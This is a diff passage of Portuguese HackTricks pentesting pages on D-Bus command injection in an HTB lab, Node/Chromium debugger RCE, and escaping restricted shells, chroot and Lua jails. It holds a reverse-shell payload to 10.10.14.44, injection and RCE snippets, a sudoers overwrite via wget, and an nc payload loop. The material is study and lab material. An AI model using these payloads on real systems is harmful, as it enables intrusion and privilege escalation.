deve ser autorizado a realizar certas ações ou não. +Também note que alguns dos serviços consultam outro serviço D-Bus chamado org.freedeskto.PolicyKit1 se um usuário deve ser autorizado a realizar certas ações ou não. ## **Enumeração de Linha de Comando** @@ -70,11 +70,11 @@ org.freedesktop.locale1 - - - (act ``` #### Conexões -[Da Wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Quando um processo estabelece uma conexão com um barramento, o barramento atribui à conexão um nome especial de barramento chamado _nome de conexão único_. Nomes de barramento desse tipo são imutáveis — é garantido que não mudarão enquanto a conexão existir — e, mais importante, não podem ser reutilizados durante a vida útil do barramento. Isso significa que nenhuma outra conexão com esse barramento terá atribuído um nome de conexão único, mesmo que o mesmo processo feche a conexão com o barramento e crie uma nova. Nomes de conexão únicos são facilmente reconhecíveis porque começam com o caractere de dois pontos — caso contrário proibido. +[Do wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Quando um processo estabelece uma conexão com um barramento, o barramento atribui à conexão um nome de barramento especial chamado _nome de conexão único_. Nomes de barramento desse tipo são imutáveis—é garantido que não mudarão enquanto a conexão existir—e, mais importante, não podem ser reutilizados durante a vida útil do barramento. Isso significa que nenhuma outra conexão a esse barramento terá um nome de conexão único atribuído, mesmo que o mesmo processo feche a conexão com o barramento e crie uma nova. Nomes de conexão únicos são facilmente reconhecíveis porque começam com o caractere de dois pontos—de outra forma proibido. ### Informações do Objeto de Serviço -Em seguida, você pode obter algumas informações sobre a interface com: +Então, você pode obter algumas informações sobre a interface com: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -134,7 +134,7 @@ cap_mknod cap_lease cap_audit_write cap_audit_control cap_setfcap cap_mac_override cap_mac_admin cap_syslog cap_wake_alarm cap_block_suspend cap_audit_read ``` -### Listar Interfaces de um Objeto de Serviço +### List Interfaces of a Service Object Você precisa ter permissões suficientes. ```bash @@ -144,9 +144,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb/oouch └─/htb/oouch/Block ``` -### Introspecionar Interface de um Objeto de Serviço +### Introspect Interface of a Service Object -Observe como neste exemplo foi selecionada a interface mais recente descoberta usando o parâmetro `tree` (_ver seção anterior_): +Note como neste exemplo foi selecionada a interface mais recente descoberta usando o parâmetro `tree` (_veja a seção anterior_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -164,23 +164,25 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` -### Interface de Monitorização/Captura +Note o método `.Block` da interface `htb.oouch.Block` (a que nos interessa). O "s" das outras colunas pode significar que está esperando uma string. -Com privilégios suficientes (apenas os privilégios `send_destination` e `receive_sender` não são suficientes) você pode **monitorizar uma comunicação D-Bus**. +### Interface de Monitoramento/Captura -Para **monitorizar** uma **comunicação**, você precisará ser **root**. Se ainda encontrar problemas para ser root, consulte [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) e [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +Com privilégios suficientes (apenas os privilégios `send_destination` e `receive_sender` não são suficientes) você pode **monitorar uma comunicação D-Bus**. + +Para **monitorar** uma **comunicação** você precisará ser **root.** Se você ainda encontrar problemas sendo root, verifique [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) e [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) {% hint style="warning" %} -Se você souber como configurar um arquivo de configuração do D-Bus para **permitir que usuários não root espiem** a comunicação, por favor, **entre em contato comigo**! +Se você sabe como configurar um arquivo de configuração D-Bus para **permitir que usuários não root capturem** a comunicação, por favor **entre em contato comigo**! {% endhint %} -Diferentes maneiras de monitorizar: +Diferentes maneiras de monitorar: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` -No exemplo a seguir, a interface `htb.oouch.Block` é monitorada e **a mensagem "**_**lalalalal**_**" é enviada por meio de uma comunicação inadequada**: +No exemplo a seguir, a interface `htb.oouch.Block` é monitorada e **a mensagem "**_**lalalalal**_**" é enviada através de uma má comunicação**: ```bash busctl monitor htb.oouch.Block @@ -199,15 +201,15 @@ MESSAGE "s" { STRING "Carried out :D"; }; ``` -Pode usar `capture` em vez de `monitor` para salvar os resultados em um arquivo pcap. +Você pode usar `capture` em vez de `monitor` para salvar os resultados em um arquivo pcap. #### Filtrando todo o ruído -Se houver muita informação no barramento, passe uma regra de correspondência assim: +Se houver informações demais no barramento, passe uma regra de correspondência assim: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` -Várias regras podem ser especificadas. Se uma mensagem corresponder a _qualquer_ das regras, a mensagem será impressa. Como neste exemplo: +Várias regras podem ser especificadas. Se uma mensagem corresponder a _qualquer_ uma das regras, a mensagem será impressa. Assim: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -215,11 +217,11 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` -Consulte a [documentação do D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para obter mais informações sobre a sintaxe da regra de correspondência. +Veja a [documentação do D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para mais informações sobre a sintaxe da regra de correspondência. ### Mais -`busctl` possui ainda mais opções, [**encontre todas elas aqui**](https://www.freedesktop.org/software/systemd/man/busctl.html). +`busctl` tem ainda mais opções, [**encontre todas elas aqui**](https://www.freedesktop.org/software/systemd/man/busctl.html). ## **Cenário Vulnerável** @@ -244,7 +246,7 @@ Como usuário **qtc dentro do host "oouch" do HTB**, você pode encontrar um **a ``` -Note que, a partir da configuração anterior, **você precisará ser o usuário `root` ou `www-data` para enviar e receber informações** por meio dessa comunicação D-BUS. +Nota da configuração anterior que **você precisará ser o usuário `root` ou `www-data` para enviar e receber informações** através desta comunicação D-BUS. Como usuário **qtc** dentro do contêiner docker **aeb4525789d8**, você pode encontrar algum código relacionado ao dbus no arquivo _/code/oouch/routes.py._ Este é o código interessante: ```python @@ -258,14 +260,14 @@ response = block_iface.Block(client_ip) bus.close() return render_template('hacker.html', title='Hacker') ``` -Como pode ver, está **conectando a uma interface D-Bus** e enviando para a função **"Block"** o "client\_ip". +Como você pode ver, está **conectando a uma interface D-Bus** e enviando para a **função "Block"** o "client\_ip". -Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está **ouvindo** a conexão D-Bus **para o endereço IP e está chamando o iptables via `system` function** para bloquear o endereço IP fornecido.\ -**A chamada para `system` é vulnerável de propósito à injeção de comandos**, então um payload como o seguinte criará um shell reverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` +Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está **ouvindo** na conexão D-Bus **por endereços IP e chamando iptables via função `system`** para bloquear o endereço IP fornecido.\ +**A chamada para `system` é vulnerável intencionalmente a injeção de comandos**, então um payload como o seguinte criará um shell reverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -### Explorar +### Explore-o -No final desta página, você pode encontrar o **código C completo da aplicação D-Bus**. Dentro dele, entre as linhas 91-97, você pode ver como o **`caminho do objeto D-Bus`** e o **`nome da interface`** são **registrados**. Essas informações serão necessárias para enviar informações para a conexão D-Bus: +No final desta página, você pode encontrar o **código C completo da aplicação D-Bus**. Dentro dele, você pode encontrar entre as linhas 91-97 **como o `caminho do objeto D-Bus`** **e `nome da interface`** são **registrados**. Esta informação será necessária para enviar informações para a conexão D-Bus: ```c /* Install the object */ r = sd_bus_add_object_vtable(bus, @@ -275,13 +277,13 @@ r = sd_bus_add_object_vtable(bus, block_vtable, NULL); ``` -Também, na linha 57, você pode encontrar que **o único método registrado** para esta comunicação D-Bus é chamado `Block`(_**Por isso, na próxima seção, os payloads serão enviados para o objeto de serviço `htb.oouch.Block`, a interface `/htb/oouch/Block` e o nome do método `Block`**_): +Além disso, na linha 57 você pode encontrar que **o único método registrado** para esta comunicação D-Bus é chamado `Block`(_**É por isso que na seção seguinte os payloads serão enviados para o objeto de serviço `htb.oouch.Block`, a interface `/htb/oouch/Block` e o nome do método `Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` #### Python -O seguinte código python enviará a carga útil para a conexão D-Bus para o método `Block` via `block_iface.Block(runme)` (_note que foi extraído do trecho anterior de código_): +O seguinte código python enviará a carga útil para a conexão D-Bus para o método `Block` via `block_iface.Block(runme)` (_note que foi extraído do bloco de código anterior_): ```python import dbus bus = dbus.SystemBus() @@ -295,16 +297,16 @@ bus.close() ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` -* `dbus-send` é uma ferramenta usada para enviar mensagens para o "Message Bus" -* Message Bus - Um software usado por sistemas para facilitar a comunicação entre aplicativos. Está relacionado com a Fila de Mensagens (as mensagens são ordenadas em sequência), mas no Message Bus as mensagens são enviadas em um modelo de assinatura e também muito rapidamente. -* A tag "-system" é usada para mencionar que é uma mensagem do sistema, não uma mensagem de sessão (por padrão). -* A tag "--print-reply" é usada para imprimir nossa mensagem adequadamente e receber quaisquer respostas em um formato legível. -* "--dest=Dbus-Interface-Block" O endereço da interface Dbus. -* "--string:" - Tipo de mensagem que gostaríamos de enviar para a interface. Existem vários formatos de envio de mensagens como double, bytes, booleans, int, objpath. Dentre esses, o "caminho do objeto" é útil quando queremos enviar o caminho de um arquivo para a interface Dbus. Podemos usar um arquivo especial (FIFO) nesse caso para passar um comando para a interface com o nome de um arquivo. "string:;" - Isso é para chamar o caminho do objeto novamente onde colocamos o arquivo/comando de shell reverso FIFO. +* `dbus-send` é uma ferramenta usada para enviar mensagens para o “Message Bus” +* Message Bus – Um software usado pelos sistemas para facilitar a comunicação entre aplicações. Está relacionado ao Message Queue (as mensagens são ordenadas em sequência), mas no Message Bus as mensagens são enviadas em um modelo de assinatura e também muito rapidamente. +* A tag “-system” é usada para mencionar que é uma mensagem do sistema, não uma mensagem de sessão (por padrão). +* A tag “–print-reply” é usada para imprimir nossa mensagem de forma apropriada e receber quaisquer respostas em um formato legível por humanos. +* “–dest=Dbus-Interface-Block” O endereço da interface Dbus. +* “–string:” – Tipo de mensagem que gostaríamos de enviar para a interface. Existem vários formatos de envio de mensagens, como double, bytes, booleans, int, objpath. Dentre estes, o “object path” é útil quando queremos enviar um caminho de um arquivo para a interface Dbus. Podemos usar um arquivo especial (FIFO) neste caso para passar um comando para a interface em nome de um arquivo. “string:;” – Isso é para chamar o caminho do objeto novamente onde colocamos o arquivo/comando de shell reverso FIFO. -_Obs: Em `htb.oouch.Block.Block`, a primeira parte (`htb.oouch.Block`) faz referência ao objeto de serviço e a última parte (`.Block`) faz referência ao nome do método._ +_Observe que em `htb.oouch.Block.Block`, a primeira parte (`htb.oouch.Block`) refere-se ao objeto de serviço e a última parte (`.Block`) refere-se ao nome do método._ -### Código C +### C code {% code title="d-bus_server.c" %} ```c @@ -458,11 +460,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 0ebf5a3d6..6220338eb 100644 --- a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -10,19 +10,19 @@ Aprenda e pratique Hacking GCP: {% endhint %} ## Basic Information -[Dos documentos](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Quando iniciado com o switch `--inspect`, um processo Node.js escuta por um cliente de depuração. Por **padrão**, ele escutará no host e porta **`127.0.0.1:9229`**. Cada processo também é atribuído um **UUID** **único**. +[Dos docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Quando iniciado com o switch `--inspect`, um processo Node.js escuta por um cliente de depuração. Por **padrão**, ele escutará no host e porta **`127.0.0.1:9229`**. Cada processo também é atribuído um **UUID** **único**. Os clientes do Inspector devem conhecer e especificar o endereço do host, a porta e o UUID para se conectar. Uma URL completa se parecerá com `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. {% hint style="warning" %} -Uma vez que o **debugger tem acesso total ao ambiente de execução do Node.js**, um ator malicioso capaz de se conectar a esta porta pode ser capaz de executar código arbitrário em nome do processo Node.js (**potencial escalonamento de privilégios**). +Como o **debugger tem acesso total ao ambiente de execução do Node.js**, um ator malicioso capaz de se conectar a esta porta pode ser capaz de executar código arbitrário em nome do processo Node.js (**potencial escalonamento de privilégios**). {% endhint %} Existem várias maneiras de iniciar um inspector: @@ -52,7 +52,7 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4 Sites abertos em um navegador da web podem fazer solicitações WebSocket e HTTP sob o modelo de segurança do navegador. Uma **conexão HTTP inicial** é necessária para **obter um id de sessão de depuração exclusivo**. A **política de mesma origem** **impede** que sites consigam fazer **essa conexão HTTP**. Para segurança adicional contra [**ataques de reatribuição de DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** o Node.js verifica se os **'Host' headers** para a conexão especificam um **endereço IP** ou **`localhost`** ou **`localhost6`** precisamente. {% hint style="info" %} -Essas **medidas de segurança impedem a exploração do inspetor** para executar código **apenas enviando uma solicitação HTTP** (o que poderia ser feito explorando uma vulnerabilidade SSRF). +Essas **medidas de segurança impedem a exploração do inspetor** para executar código apenas **enviando uma solicitação HTTP** (o que poderia ser feito explorando uma vulnerabilidade SSRF). {% endhint %} ### Iniciando o inspetor em processos em execução @@ -68,7 +68,7 @@ Isso é útil em contêineres porque **encerrar o processo e iniciar um novo** c ### Conectar ao inspetor/debugger -Para se conectar a um **navegador baseado em Chromium**, as URLs `chrome://inspect` ou `edge://inspect` podem ser acessadas para Chrome ou Edge, respectivamente. Ao clicar no botão Configurar, deve-se garantir que o **host e a porta de destino** estejam listados corretamente. A imagem mostra um exemplo de Execução Remota de Código (RCE): +Para conectar a um **navegador baseado em Chromium**, as URLs `chrome://inspect` ou `edge://inspect` podem ser acessadas para Chrome ou Edge, respectivamente. Ao clicar no botão Configurar, deve-se garantir que o **host e a porta de destino** estejam listados corretamente. A imagem mostra um exemplo de Execução Remota de Código (RCE): ![](<../../.gitbook/assets/image (674).png>) @@ -95,10 +95,10 @@ Note que **explorações RCE do NodeJS não funcionarão** se conectadas a um na ## RCE no Depurador/Inspector do NodeJS {% hint style="info" %} -Se você veio aqui procurando como obter [**RCE a partir de um XSS no Electron, por favor, verifique esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +Se você veio aqui procurando como obter [**RCE de um XSS no Electron, por favor, verifique esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endhint %} -Algumas maneiras comuns de obter **RCE** quando você pode **conectar** a um **inspector** do Node é usando algo como (parece que isso **não funcionará em uma conexão com o protocolo Chrome DevTools**): +Algumas maneiras comuns de obter **RCE** quando você pode **conectar** a um **inspector** do Node é usar algo como (parece que isso **não funcionará em uma conexão com o protocolo Chrome DevTools**): ```javascript process.mainModule.require('child_process').exec('calc') window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") @@ -122,9 +122,9 @@ workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` Executará um calc.exe. -### Sobrescrever Arquivos +### Substituir Arquivos -Altere a pasta onde **os arquivos baixados serão salvos** e baixe um arquivo para **sobrescrever** o **código fonte** frequentemente usado da aplicação com seu **código malicioso**. +Altere a pasta onde **os arquivos baixados serão salvos** e baixe um arquivo para **substituir** o **código fonte** frequentemente usado da aplicação pelo seu **código malicioso**. ```javascript ws = new WebSocket(url); //URL of the chrome devtools service ws.send(JSON.stringify({ @@ -138,7 +138,7 @@ downloadPath: '/code/' ``` ### Webdriver RCE e exfiltração -De acordo com este post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148), é possível obter RCE e exfiltrar páginas internas do theriver. +De acordo com este post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) é possível obter RCE e exfiltrar páginas internas do theriver. ### Pós-Exploração @@ -167,7 +167,7 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index b349f7242..770fc0fa3 100644 --- a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,16 +1,16 @@ -# Escapando de Jaulas +# Escapando de Jails {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -21,22 +21,22 @@ Aprenda e pratique Hacking GCP: @@ -91,10 +91,10 @@ system("/bin/bash"); ```
-### Root + Descritor de Arquivo Salvo +### Root + Saved fd {% hint style="warning" %} -Isso é semelhante ao caso anterior, mas neste caso o **atacante armazena um descritor de arquivo para o diretório atual** e então **cria o chroot em uma nova pasta**. Finalmente, como ele tem **acesso** a esse **FD** **fora** do chroot, ele o acessa e ele **escapa**. +Isso é semelhante ao caso anterior, mas neste caso o **atacante armazena um descritor de arquivo para o diretório atual** e então **cria o chroot em uma nova pasta**. Finalmente, como ele tem **acesso** a esse **FD** **fora** do chroot, ele acessa e **escapa**. {% endhint %}
@@ -125,21 +125,21 @@ chroot("."); ### Root + Fork + UDS (Unix Domain Sockets) {% hint style="warning" %} -FD pode ser passado por Unix Domain Sockets, então: +FD pode ser passado através de Unix Domain Sockets, então: -* Criar um processo filho (fork) -* Criar UDS para que o pai e o filho possam se comunicar -* Executar chroot no processo filho em uma pasta diferente -* No processo pai, criar um FD de uma pasta que está fora do novo chroot do processo filho -* Passar para o processo filho esse FD usando o UDS -* Processo filho muda o diretório para esse FD e, como está fora de seu chroot, ele irá escapar da prisão +* Crie um processo filho (fork) +* Crie UDS para que pai e filho possam se comunicar +* Execute chroot no processo filho em uma pasta diferente +* No processo pai, crie um FD de uma pasta que está fora do novo chroot do processo filho +* Passe para o processo filho esse FD usando o UDS +* O processo filho muda o diretório para esse FD, e porque está fora do seu chroot, ele escapará da prisão {% endhint %} ### Root + Mount {% hint style="warning" %} -* Montar o dispositivo raiz (/) em um diretório dentro do chroot -* Executar chroot nesse diretório +* Montando o dispositivo raiz (/) em um diretório dentro do chroot +* Chrooting nesse diretório Isso é possível no Linux {% endhint %} @@ -147,23 +147,23 @@ Isso é possível no Linux ### Root + /proc {% hint style="warning" %} -* Montar procfs em um diretório dentro do chroot (se ainda não estiver montado) -* Procurar por um pid que tenha uma entrada de root/cwd diferente, como: /proc/1/root -* Executar chroot nessa entrada +* Monte procfs em um diretório dentro do chroot (se ainda não estiver) +* Procure por um pid que tenha uma entrada de root/cwd diferente, como: /proc/1/root +* Chroot nessa entrada {% endhint %} ### Root(?) + Fork {% hint style="warning" %} -* Criar um Fork (processo filho) e chroot em uma pasta diferente mais profunda no sistema de arquivos e mudar para ela -* A partir do processo pai, mover a pasta onde o processo filho está para uma pasta anterior ao chroot dos filhos +* Crie um Fork (processo filho) e chroot em uma pasta diferente mais profunda no FS e CD nela +* Do processo pai, mova a pasta onde o processo filho está para uma pasta anterior ao chroot dos filhos * Esse processo filho se encontrará fora do chroot {% endhint %} ### ptrace {% hint style="warning" %} -* Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo próprio... mas isso não é mais possível por padrão +* Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo deles mesmos... mas isso não é mais possível por padrão * De qualquer forma, se for possível, você poderia ptrace em um processo e executar um shellcode dentro dele ([veja este exemplo](linux-capabilities.md#cap\_sys\_ptrace)). {% endhint %} @@ -171,7 +171,7 @@ Isso é possível no Linux ### Enumeração -Obter informações sobre a prisão: +Obtenha informações sobre a prisão: ```bash echo $SHELL echo $PATH @@ -179,7 +179,7 @@ env export pwd ``` -### Modificar o PATH +### Modificar PATH Verifique se você pode modificar a variável de ambiente PATH ```bash @@ -187,7 +187,7 @@ echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` -### Usando o vim +### Usando vim ```bash :set shell=/bin/sh :shell @@ -199,9 +199,9 @@ Verifique se você pode criar um arquivo executável com _/bin/bash_ como conte red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` -### Obter bash a partir do SSH +### Obter bash via SSH -Se estiver acessando via ssh, você pode usar este truque para executar um shell bash: +Se você estiver acessando via ssh, pode usar este truque para executar um shell bash: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" @@ -215,38 +215,38 @@ BASH_CMDS[shell]=/bin/bash;shell -i ``` ### Wget -Você pode sobrescrever, por exemplo, o arquivo sudoers +Você pode sobrescrever, por exemplo, o arquivo sudoers. ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` ### Outros truques [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ -[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ -[https://gtfobins.github.io](https://gtfobins.github.io)\ -**Também pode ser interessante a página:** +[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ +[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\ +**Pode também ser interessante a página:** {% content-ref url="../bypass-bash-restrictions/" %} [bypass-bash-restrictions](../bypass-bash-restrictions/) {% endcontent-ref %} -## Jaulas Python +## Jails Python -Truques sobre como escapar de jaulas Python na seguinte página: +Truques sobre como escapar de jails python na página a seguir: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} -## Jaulas Lua +## Jails Lua -Nesta página, você pode encontrar as funções globais às quais você tem acesso dentro do Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) +Nesta página você pode encontrar as funções globais às quais você tem acesso dentro do lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) -**Avaliação com execução de comando:** +**Eval com execução de comando:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` -Algumas dicas para **chamar funções de uma biblioteca sem usar pontos**: +Alguns truques para **chamar funções de uma biblioteca sem usar pontos**: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) @@ -255,7 +255,7 @@ Enumerar funções de uma biblioteca: ```bash for k,v in pairs(string) do print(k,v) end ``` -Note que toda vez que você executar o comando anterior em um **ambiente lua diferente a ordem das funções muda**. Portanto, se você precisar executar uma função específica, você pode realizar um ataque de força bruta carregando diferentes ambientes lua e chamando a primeira função da biblioteca le: +Note que toda vez que você executa a linha de comando anterior em um **ambiente lua diferente, a ordem das funções muda**. Portanto, se você precisar executar uma função específica, pode realizar um ataque de força bruta carregando diferentes ambientes lua e chamando a primeira função da biblioteca le: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -266,7 +266,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` -**Obter um shell lua interativo**: Se você estiver dentro de um shell lua limitado, você pode obter um novo shell lua (e esperançosamente ilimitado) chamando: +**Obter shell lua interativo**: Se você estiver dentro de um shell lua limitado, pode obter um novo shell lua (e, com sorte, ilimitado) chamando: ```bash debug.debug() ``` @@ -275,16 +275,16 @@ debug.debug() * [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
